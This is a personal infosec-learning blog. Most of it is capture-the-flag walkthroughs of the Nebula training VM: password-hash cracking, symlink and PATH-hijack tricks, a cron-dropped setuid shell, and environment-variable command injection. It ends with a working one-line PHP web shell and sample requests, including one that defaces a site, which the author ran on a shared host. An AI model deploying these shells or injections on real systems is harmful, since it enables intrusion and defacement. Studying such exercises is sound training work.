About Graeme Robinson

My job is as a software tester with a bit of support, but I also know quite a bit about hardware because that's how I got into computers. I also like to climb rock in my spare time. This blog will mostly document my quest to get into the information security field. Probably with emphasis on webapp security.

Exploit Exercises – Nebula – Level 06

Even less information about this one:

The flag06 account credentials came from a legacy unix system.
To do this level, log in as the level06 account with the password level06 . Files for this level can be found in /home/flag06.

I had a good idea what I’m looking for here, an easy to crack password hash in /etc/passwd rather than in the shadow file, so:

cat /etc/passwd | grep flag06

shows me the hash is ueqwOCnSGdsuM. I need to “crack” the hash. Time to get john the ripper on the case. At this point I didn’t have any other linux machines to hand, so I went to another tty session on this one and logged in a nebula and installed john (sudo apt-get install john). Then I ran john on the password file (john /etc/passwd) and he showed me the password. I switched over to flag06 account and the password worked as expected.

Exploit Exercises – Nebula – Level 05

Not much information to start on this one:

Check the flag05 home directory. You are looking for weak directory permissions
To do this level, log in as the level05 account with the password level05 . Files for this level can be found in /home/flag05.

The command ll (an alias for ls-alF) showed me that I had read access to ~flag05/.backup, and in there was a backup gzipped tar. Hopefully some goodies in here…

I unpacked the tar and found that it contained a folder called .ssh. This is used for secure shell authentication. That folder contained a private/public key pair and an authorized_keys file. The authorised_keys file is exactly the same as the public key file, so (assuming that the authorised_keys file had not been deleted since the backup) I should be able to ssh in using the private key, as long as it was not encrypted with a passphrase.

I copied the id_rsa file to ~/.ssh and tried to connect using:

ssh flag05@localhost

Bingo!

Exploit Exercises – Nebula – Level 04

The information about this level says:

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it 🙂
To do this level, log in as the level04 account with the password level04 . Files for this level can be found in /home/flag04.

It also contains some source code:

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#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
 
int main(int argc, char **argv, char **envp)
{
    char buf[1024];
    int fd, rc;
 
    if(argc == 1) {
        printf("%s [file to read]\n", argv[0]);
        exit(EXIT_FAILURE);
    }
 
    if(strstr(argv[1], "token") != NULL) {
        printf("You may not access '%s'\n", argv[1]);
        exit(EXIT_FAILURE);
    }
 
    fd = open(argv[1], O_RDONLY);
    if(fd == -1) {
        err(EXIT_FAILURE, "Unable to open %s", argv[1]);
    }
 
    rc = read(fd, buf, sizeof(buf));
 
    if(rc == -1) {
        err(EXIT_FAILURE, "Unable to read fd %d", fd);
    }
 
    write(1, buf, rc);
}

Its fairly clear from looking at the files and the source code (I will admit I had to use a lot of man to help me understand the source code) that I want to read the contents of “token”, but the program won’t allow it. I tried things like ./token and ../flag04/token, but that didn’t work because the program is just searching for the string “token” anywhere in the first argument. Well… how do I get the contents of that file “into” another file without having permission to read the file? Symbolic link! Here’s what I did:

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ln -s ~flag04/token /tmp/link
~flag04/flag04 /tmp/link

It turns out that the contents of the token file is the password for the flag04 account so I just did su flag04 and used that password. I ran getflag and violà!

Exploit Exercises – Nebula – Level 03

The information about this level says:

Check the home directory of flag03 and take note of the files there.
There is a crontab that is called every couple of minutes.
To do this level, log in as the level03 account with the password level03 . Files for this level can be found in /home/flag03.

Well looking in ~flag03 there is just one directory (writable.d) file and one file (writable.sh). I’m assuming that the cron job runs writable.sh every couple of minutes so I looked at that script. I can see that the script runs every file in the writable.d folder (which we have write access to), but will kill the process if it takes longer than 5 seconds. It then removes the file.

What we could do is make a quick bash script that will run getflag and save the output like this:

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#!/bin/sh
getflag > /tmp/getflag.out

Which works (after we wait for the cron job to run it), but I want shell! So we’re going to borrow a trick from level01 and create a program that will launch a bash shell and get flag03 to set the setuid bit.

My C program looks like this:

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#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
 
int main() {
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();
 
    setresgid(gid, id, gid);
    setresuid(uid, uid, uid);
 
    system("/bin/bash");
}

Now I just compile it with gcc and drop it in /tmp so that flag03 can access it. All I need the cron job to do now is make a copy and set the setuid bit, so here is the script I dropped in ~flag03/writable.d:

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#!/bin/sh
cp /tmp/setuidshell /tmp/setuidshell2
chmod u+s /tmp/setuidshell2

This got me a program (/tmp/setuidshell2) in that gave me shell. From here I was able to run getflag, and also to run crontab -l to see that the cron job is actually called every 3 minutes.

Exploit Exercises – Nebula – Level 02

The information about this level says:

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level02 account with the password level02 . Files for this level can be found in /home/flag02.

It also contains some source code:

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#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
 
int main(int argc, char **argv, char **envp)
{
    char *buffer;
 
    gid_t gid;
    uid_t uid;
 
    gid = getegid();
    uid = geteuid();
 
    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);
 
    buffer = NULL;
 
    asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
    printf("about to call system(\"%s\")\n", buffer);
 
    system(buffer);
}

This is similar to the Level 01. An environment variable $USER is being used to construct a string that is printed to the screen before being run. If we can edit that environment variable, we can inject a malicious command.

Initially I changed $USER so that running the program would execute getflag. The command I used was:

USER=;getflag;echo

I’ll break this down:
; – end the command and start a new one
getflag – run the getflag program
; – end the command and start a new one
echo – start a new echo command so that the following arguments don’t cause an error

This results in the following command being run:

/bin/echo ;getflag;echo is cool

I got a success message from get flag, but I wanted shell, so I changed my command to:

USER="Opening escalated shell...;bin/bash;echo Closing pwned shell, now that"

This time I got shell, and some cool text when going into the shell and when coming out (after typing exit)

Exploit Exercises – Nebula – Level 01

Following on from my previous post this one is about level01 of Nebula on exploit-excercises.com. The information about this level says:

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level01 account with the password level01 . Files for this level can be found in /home/flag01.

It also contains some source code:

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#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
 
int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();
 
    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);
 
    system("/usr/bin/env echo and now what?");
}

I’m not all that familiar with C (I’m more of a scripter), but I can understand enough; this appears to basically sets all uids for the process to the effective uid (presumably the setuid bit is present) and then calls a command line of:

/usr/bin/env echo and now what?

I wasn’t familiar with the env command so used a bit of googling until I learned that env is used to launch programs in a different environment. It also also sometimes used because a script needs to start with a shebang and followed by an interpreter directive, which must be an absolute path. Because some interpreters are not always installed at the same location, env is sometimes used to launch the correct interpreter by file name rather than full path (e.g. #!/usr/bin/env/ python). To do this, env searches through the list of paths in in the environment variable $PATH in order until it finds a correctly named file that it can execute in one of them. Presumably (for some unknown reason) env is being used here to invoke echo, but it means we can make a different echo program run by creating a malicious script and changing $PATH to point to it first.

I changed the path to include /tmp at the beginning by running the follwing command:

PATH=/tmp:$PATH

and then created a new symbolic link called echo to the getflag program:

ln -s /bin/getflag /tmp/echo

Now when I ran the vulnerable program I got a success message, but I wanted to go one further. I wanted shell…

I tried creating a symbolic link to bash, but now running flag01 failed due to the invalid arguments (“and now what?” are valid arguments for echo, but not bash), so I removed the symbolic link and created an executable shell script that ignored all arguments, and saved it as echo in /tmp. It contained the following two lines of code:

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#!/bin/bash
/bin/bash

This, I hoped, would cause the vulnerable program to spawn a shell. I tested it and it worked. I then ran whoami to confirm that I was flag01 and then getflag to get a success message.

Exploit Exercises – Nebula – Level 00

I’ve started to have a look at the challenges offered by exploit-exercises.com and thought I’d document my progress.

This post is about Nebula Level 00. The information about this level says:

This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
Alternatively, look at the find man page.
To access this level, log in as level00 with the password of level00 .

This is a pretty simple challenge, but did mean I had to learn all about normal unix filesystem permissions and the more advanced setuid/setguid/stickybit permissions I also learned how to suppress errors from the find command and how to better use the find and man command.

The command I used was

find / -perm -u=s 2>/dev/null

I’ll break down what this does:

  • find – search for files in a directory hierarchy
  • / – start at the root of the filesystem
  • -perm -u=s – find files that have the setuid bit set in their permissions
  • 2>/dev/null – discard all errors (mostly about not having permission to scan directories)

One of the results was /bin/…/flag00. This (…\) is a suspicious looking directory! Running ll /bin/…/flag00 showed me that the owner was flag00 and the setuid bit was indeed set so I ran the file which told me to now run getflag then changed the user to flag00. Running getflag gave me a success message.

What I liked about this was that I had a shell running as the flag00 user so I could run other commands like whoami before typing exit to get out of the shell. At the time, I had no idea how I was put into a new shell, but it all becomes clearer in the next level…

How (I think) my windows live account got compromised

This message kind of follows on from the post about my Fiancée’s hotmail account being compromised, and her subsequent use of much better passwords.

About a week ago I got a message from my brother telling me that my windows live messenger account was spamming him. This was confirmed a little later by another friend but as I was travelling in Germany at the time for work, I was not able to log on and try to change my password immediately. When I was able to sit down with my laptop and internet access, I was pleased to find that I could still log in to windows live and I promptly changed my password.

This compromise was a bit of a surprise and lead me to think about how my account could get compromised, and what I lessons I could learn from the compromise. This post is about how I think my account was compromised, and how I have further strengthened my security since.

While my windows live password was fairly secure (it didn’t conform to any of the common patterns used for passwords) and it wasn’t overly short. Because of this, I’m pretty confident that a brute force attack over the internet against the windows live authentication services would take too much time to make it a reasonable attack vector; it would be prohibitively slow. I would also expect the windows live authentication services to have some kind of security measure to counter brute force attacks, though I’m not sure about that.

When I set up my windows live account many years ago, I wasn’t really bothered about security and I used the same password for many of my online accounts. There is another great xkcd comic about this:xkcd: Password Reuse

When I realised that this was insecure I started to change some of my accounts to use a slightly different password where a small number of characters were different. The changed characters were chose depending on which site or service I was logging in to, but I had never updated the password on my windows live account because I never logged in manually; I had windows live messenger set to save my password and log in automatically. This meant that I was still probably reusing a password with another account somewhere else that I had forgotten about.

My theory of how they got my password is that a website or service that I had forgotten about (because I haven’t used it for years) has been compromised and had revealed my email address and password. The password was probably stored (and therefore revealed) as plain text. I think this because even if my password was hashed but not unsalted, the attacker would have had to use a very large rainbow table for it to cover my password, and this would have also taken so much time that it would not have been worth it for the attacker. The attacker would surely just go for the low hanging fruit, rather than spend ages on a single account. I think that once the attackers got the email/password combination, they probably just tried it on a bunch of common services that they could use to send spam messages (hotmail, facebook, twitter, skype, WLM, iCloud, etc), and found that one of my accounts had the same password.

I use lastpass these days, with two factor authentication using google authenticator app on my phone, and have been going through my various accounts, making sure they are using unique and secure passwords (the lastpass security challenge is great for this – I am now up to 92.6% secure) but as I mentioned before, I hadn’t logged in to windows live manually for years, so my vault didn’t contain that password, and so couldn’t warn me that I was still reusing a password. So I have racked by brain to try to remember anywhere else that I may have an account and made sure that I checked those passwords too. I’m sure I will have missed some, but hopefully they are ones that I don’t really care about or use these days.

Internet censorship

My Finacee and I used to live on a farm just north of Bristol where the broadband options were pretty slim. While my friend in a town closer to London was getting 70Mb/s downstream, we were only offered 0.5Mb/s. I ended up getting a 3G dongle with a wireless 3G router and using HSPA+ on the three.co.uk network and we regularly managed speeds of around 7Mb/s (around 14x faster than we would have got if we used the phone line).

We moved, this weekend, to a town closer to London, and I have left the dongle with the new tennants at the farm. I am currently researching what ISP I should go with. While looking at an ISP that I had been recommended (because of their technical expertise and support) I noticed a link to an article about the web censorship we are currently facing in the UK, and the reason that they do not censor on their network.

It was not news to me, but I found it an interesting read anyway.

The article can be found here.

Single Line PHP Script to Gain Shell

A while ago, on PaulDotCom Security Weekly, I heard someone mention something about a single line php script to get shell on the web server. I knew it couldn’t be that hard as it’s only one line, but I didn’t find much about it on google when I searched, perhaps because it’s too easy, or perhaps I was using the wrong search terms. Anyway, I forgot about it for a while… until now.

Since WebApp security is what I’m most interested in at the moment, I have been learning PHP, I’m not finished learning yet, but today (while reading about how inputs should be sanitised before using “include”) I remembered the single line PHP shell, and I had a go and this is what I came up with:

<?php echo shell_exec($_GET['e'].' 2>&1'); ?>

Obviously the WebApp would have to be vulnerable in some way in order to be able to put this script on the server, but once it was, it could potentially be used to do things like dump files and deface the site.

The output is just text, not an HTML document so if using a web browser, you will want to view the source in order to see the proper result.

I used shell_exec() instead of just exec() because it returns every line instead of just the last one. An alternative is to use passthru() which will also send binary data, but to get that to work properly with binary data, you’d probably have to also set the headers which makes it more than one line.

I was able to run unix commands (windows commands should also work if the host is running windows) such as:

  • shell.php?e=whoami
  • shell.php?e=pwd
  • shell.php?e=uname%20-a (I had to URL encode the spaces otherwise my browser thought it should search using google)
  • shell.php?e=echo%20This%20site%20has%20been%20hacked%3Eindex.html
  • shell?e=ls%20-l%20/tmp

The last command even showed me some files and their owners which in turn (because I am using a shared host) told me the names of some of the other sites are that are running on the same server as mine, which was an unexpected “bonus” find.